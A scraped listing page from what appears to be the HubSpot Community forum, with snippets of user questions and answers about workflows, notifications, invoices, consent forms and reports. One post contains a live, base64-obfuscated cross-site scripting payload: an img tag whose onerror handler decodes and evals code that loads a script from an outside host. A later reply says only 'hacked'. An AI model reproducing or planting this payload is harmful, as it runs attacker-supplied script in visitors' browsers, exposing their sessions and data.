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PamCotton on February 29, 2024
Working smarter, not harder - with Workflows! | Share your Workflows optimization tips
Hey Community After an insightful exploration of optimizing the middle column of CRM records in our last challenge , it's time to dive deeper into the realm of workflows. Whether you're a pro or just getting started, there's read more
Reply Announcement best practices Workflows
9 upvotes
20 Replies
MSI_Sakib
Participant
September 18, 2024 05:19
I use SOP for my workflow and tweak it based on need. Currently, I am developing SOP for all the work process such as SEO, Social Media Marketing, Co...read more
Solved
post on October 14, 2024
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"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwL2h5YzRpNDkwNzAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
Reply Professional
0 upvote
2 Replies
Accepted solution
post
Participant
October 14, 2024 11:28
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JPair on October 11, 2024
Chat Notification
I would like to suggest a feature within the chat notifications. Say my employee Brian is assigned a chat. I would also like to receive that notification even though it was not assigned to me. (I am super admin btw)
Reply Starter
0 upvote
2 Replies
post
Participant
October 14, 2024 12:03
hacked
HWadhwa on October 11, 2024
HS test
I'm creating this post for testing purposes
Reply Free
0 upvote
1 Reply
Jaycee_Lewis
Community Manager
October 11, 2024 11:00
👋 — Jaycee
Solved
pinchvalve on October 10, 2024
Has HubSpot support ended?
This has been the support screen for several days, has chat and callback support ended for everyone or just for me?
Reply Chat
0 upvote
3 Replies
Accepted solution
karstenkoehler
Hall of Famer | Partner
October 10, 2024 13:59
Hi @pinchvalve , As far as I know it has not, no. I would say that HubSpot's support team can be subject to sick leaves, time offs, and unexpe...read more
beatrizlima on October 09, 2024
[Free Report] The Intersection of Marketing, Data and AI
  AI is transforming marketing across Europe. Are you keeping up? Our latest report, created with LinkedIn , explores how leaders are successfully leveraging AI and data solutions to drive operational efficiency and boost customer engageme read more
Reply Marketing Playbooks Reports
4 upvotes
1 Reply
Aakar
Key Advisor
October 10, 2024 22:38
Thanks for this report.
JRothschild on October 09, 2024
Can I separate my Modules while building a page?
Hello! I have bought a new Theme to build new website pages and landing pages but I don't know how to see the modules I have bought compared to the other modules (free package or created), especially as they are badly named and organised. Can I ju read more
Reply Enterprise
0 upvote
1 Reply
kennedyp
Community Manager
October 09, 2024 14:17
Hi @JRothschild ! Welcome to the Community-- happy to have you here 😊 ] Are you building this page in the page editor or the design tools?...read more
kara_susvilla on October 08, 2024
3 ways to create compelling customer experiences with the Twilio Segment app for HubSpot
Managing customer data effectively is a challenge for organizations across industries. In HubSpot's 2024 State of Marketing report , one of the top five biggest challenges marketers are facing is having low-quality data. This is where t read more
Reply How-To Integrations Marketing
3 upvotes
0 Reply
Solved
JPair on October 08, 2024
Streamlining Invoice Contact Associations Based on Association Labels
Currently, when creating invoices from the deal card, all contacts associated with the deal are selected by default to be associated with the invoice. This creates an inefficiency as users often need to manually deselect contacts and associate the i read more
Reply Forms
0 upvote
1 Reply
Accepted solution
JessicaBaskey
Top Contributor | Platinum Partner
October 08, 2024 12:10
Hey @JPair , There already is an idea on the ideas forum for this. I'd recommend giving it an upvote and following it for updates. ...read more
JPair on October 08, 2024
Have the Ticket Form in Teams editable
We're setting up an internal ticketing system and wanting to isolate this with ticketing integration with MS Teams. As we're opening this to the whole business, we're wanting to isolate the fields available and what can be selected. For example, we read more
Reply Analytics Tools
0 upvote
1 Reply
kennedyp
Community Manager
October 08, 2024 16:41
Hi @JPair ! Welcome to the Community-- happy to have you here 😊 Could you post a screenshot of the form you are trying to edit? It sounds...read more
Solved
JPair on October 08, 2024
Logic-based consent options in forms
We would like to be able to dynamically change the consent options shown to website visitors in a form depending on their country. Different countries have very different data privacy and consent management requirements now, and it would be ver read more
Reply Workaround
0 upvote
1 Reply
Accepted solution
karstenkoehler
Hall of Famer | Partner
October 08, 2024 09:32
Hi @JPair , You're correct, this is currently not possible. While one could use custom properties and workflows to update the actual legal bas...read more
Solved
ASobusiak on October 08, 2024
Reports for the Marketing Department
Is it possible to create a report presenting information about the Deals: a wide overview - initial engagement (how we got the lead), further communication (like the offer), who was involved in the deal from customer's side and what what is our actu read more
Reply Marketing Reports
0 upvote
1 Reply
Accepted solution
Ktamir
Contributor | Platinum Partner
October 08, 2024 05:12
Sure. You can create it as a table and present all the information you want,a s long as they are available as properties.
Solved
pinchvalve on October 07, 2024
Form Submission Info...can I Access?
I am trying to build custom notification emails in a workflow (as opposed to using the built-in notifications on a form) but cannot see a way to include the form submission and web page details. These are on the contact record and default notificati read more
Reply Marketing Email
0 upvote
6 Replies
Accepted solution
karstenkoehler
Hall of Famer | Partner
October 08, 2024 00:16
@pinchvalve each notification should automatically include a button that takes you to the record it's referencing, but you could also follow these ...read more
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